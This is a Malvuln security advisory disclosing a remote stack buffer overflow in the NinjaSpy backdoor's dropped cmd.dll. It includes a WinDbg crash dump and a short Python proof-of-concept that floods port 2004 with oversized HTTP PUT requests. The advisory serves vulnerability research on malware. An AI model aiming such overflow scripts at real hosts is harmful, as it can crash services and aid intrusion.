Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6eece319bc108576bd1f4a8364616264.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NinjaSpy.c
Vulnerability: Remote Stack Buffer Overflow
Description: The specimen drops a DLL named "cmd.dll" under C:\WINDOWS\ which listens on both TCP ports 2003 and 2004. By sending consecutive HTTP PUT requests with large payload of characters we can cause buffer overflow.

Type: PE32
MD5: 6eece319bc108576bd1f4a8364616264
Vuln ID: MVID-2021-0018
Dropped files: cmd.dll
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/08/2021

Memory Dump:
0:000> .ecxr
eax=41414141 ebx=41414141 ecx=03fe0ea2 edx=0019eb08 esi=0420986c edi=03fe0e9d
eip=00440f57 esp=0019eae0 ebp=0019eb18 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
cmd+0x40f57:
00440f57 83bb8001000000  cmp     dword ptr [ebx+180h],0 ds:002b:414142c1=????????

FAULTING_IP: 
cmd+40f57
00440f57 83bb8001000000  cmp     dword ptr [ebx+180h],0

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00440f57 (cmd+0x00040f57)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 414142c1
Attempt to read from address 414142c1

PROCESS_NAME:  cmd.dll

OVERLAPPED_MODULE: Address regions for 'jscript9' and 'resourcepolicyclient.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  414142c1

READ_ADDRESS:  414142c1 

FOLLOWUP_IP: 
cmd+40f57
00440f57 83bb8001000000  cmp     dword ptr [ebx+180h],0

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000014f4

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 764ee0bb to 00440f57

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0019eb18 764ee0bb 00920602 00000046 00000000 cmd+0x40f57
0019eb44 764f8849 03fe0e9d 00920602 00000046 user32!_InternalCallWinProc+0x2b
0019eb68 764fb145 00000046 00000000 0019ed14 user32!InternalCallWinProc+0x20
0019ec38 764e8503 03fe0e9d 00000000 00000046 user32!UserCallWinProcCheckWow+0x1be
0019eca0 764dfbfa 02c1f600 00000000 00000046 user32!DispatchClientMessage+0x1b3
0019ece8 773d0bcd 0019ed04 00000038 0019ee20 user32!__fnINOUTLPWINDOWPOS+0x4a
0019ed38 76832eec 76521878 000f0a14 76521760 ntdll!KiUserCallbackDispatcher+0x4d
0019ed3c 76521878 000f0a14 76521760 0055060a win32u!NtUserSetFocus+0xc
0019ed5c 764ee0bb 0055060a 00000110 000f0a14 user32!MB_DlgProc+0x118
0019ed88 764f8849 76521760 0055060a 00000110 user32!_InternalCallWinProc+0x2b
0019edac 764fac8c 00000110 000f0a14 0019f3e8 user32!InternalCallWinProc+0x20
0019ee30 764dbf65 0055060a 00000110 000f0a14 user32!UserCallDlgProcCheckWow+0x10f
0019ee8c 764dbe45 02c49f90 00000000 00000110 user32!DefDlgProcWorker+0x115
0019eeac 764ee0bb 0055060a 00000110 000f0a14 user32!DefDlgProcW+0x25
0019eed8 764f8849 764dbe20 0055060a 00000110 user32!_InternalCallWinProc+0x2b
0019eefc 764fb145 00000110 000f0a14 0019f3e8 user32!InternalCallWinProc+0x20
0019efcc 764fa89c 7a4afc30 00007ffe 00000110 user32!UserCallWinProcCheckWow+0x1be
0019f038 76505b67 02c49f90 00000000 0019f3e8 user32!SendMessageWorker+0x6ff
0019f154 76506533 764d0000 0267a708 00000000 user32!InternalCreateDialog+0x1137
0019f198 7654043b 00e80416 76521760 0019f3e8 user32!InternalDialogBox+0xc8
0019f264 768339ec 0019f3d0 76522093 0019f3e8 user32!SoftModalMessageBox+0x72b
0019f26c 76522093 0019f3e8 07c43d40 00000000 win32u!NtUserModifyUserStartupInfoFlags+0xc
0019f4ac 0045a743 00e80416 04229764 041f562c user32!MessageBoxWorker+0x29a
0019f530 0045a85a 00000010 0019fd34 0045a87b cmd+0x5a743
0019f658 0045a63f 00000000 004aa4e0 0045e01d cmd+0x5a85a
0019fd50 00420446 00000401 0000036c 00000008 cmd+0x5a63f
0019fd68 764ee0bb 005b0464 00000401 0000036c cmd+0x20446
0019fd94 764f8849 03fe0f05 005b0464 00000401 user32!_InternalCallWinProc+0x2b
0019fdb8 764fb145 00000401 0000036c 00000008 user32!InternalCallWinProc+0x20
0019fe88 764e90dc 03fe0f05 00000000 00000401 user32!UserCallWinProcCheckWow+0x1be
0019fef4 764e38c0 0019ff68 0045a30c 0019ff1c user32!DispatchMessageWorker+0x4ac
0019fefc 0045a30c 0019ff1c 0019ff00 004ce046 user32!DispatchMessageA+0x10
0019ff68 004a992c e046004c 0019ffcc 00404498 cmd+0x5a30c
0019ff80 76e38654 002d2000 76e38630 6a961c86 cmd+0xa992c
0019ff94 773c4a77 002d2000 8aaf072f 00000000 kernel32!BaseThreadInitThunk+0x24
0019ffdc 773c4a47 ffffffff 773e9eda 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 004ce046 002d2000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  cmd+40f57

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: cmd

IMAGE_NAME:  cmd.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_cmd.dll!Unknown

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141_cmd+40f57


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=2004
c=1
JUNK="A"*8601
AMT=10
PAYLOAD = "PUT /"+JUNK+" HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: dkKoybHost: 35409\r\n"+ "Accept-Charset: "+JUNK

def doit():
    global c, JUNK, PAYLOAD, AMT
    while True:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST, PORT))
        s.send(PAYLOAD)
        s.close()
        c+=1
        if c==AMT:
            print("Backdoor.Win32.NinjaSpy.c / Remote Stack Buffer Overflow")
            print("MD5: 6eece319bc108576bd1f4a8364616264")
            print("By Malvuln")
            exit()

if __name__=="__main__":
    doit()



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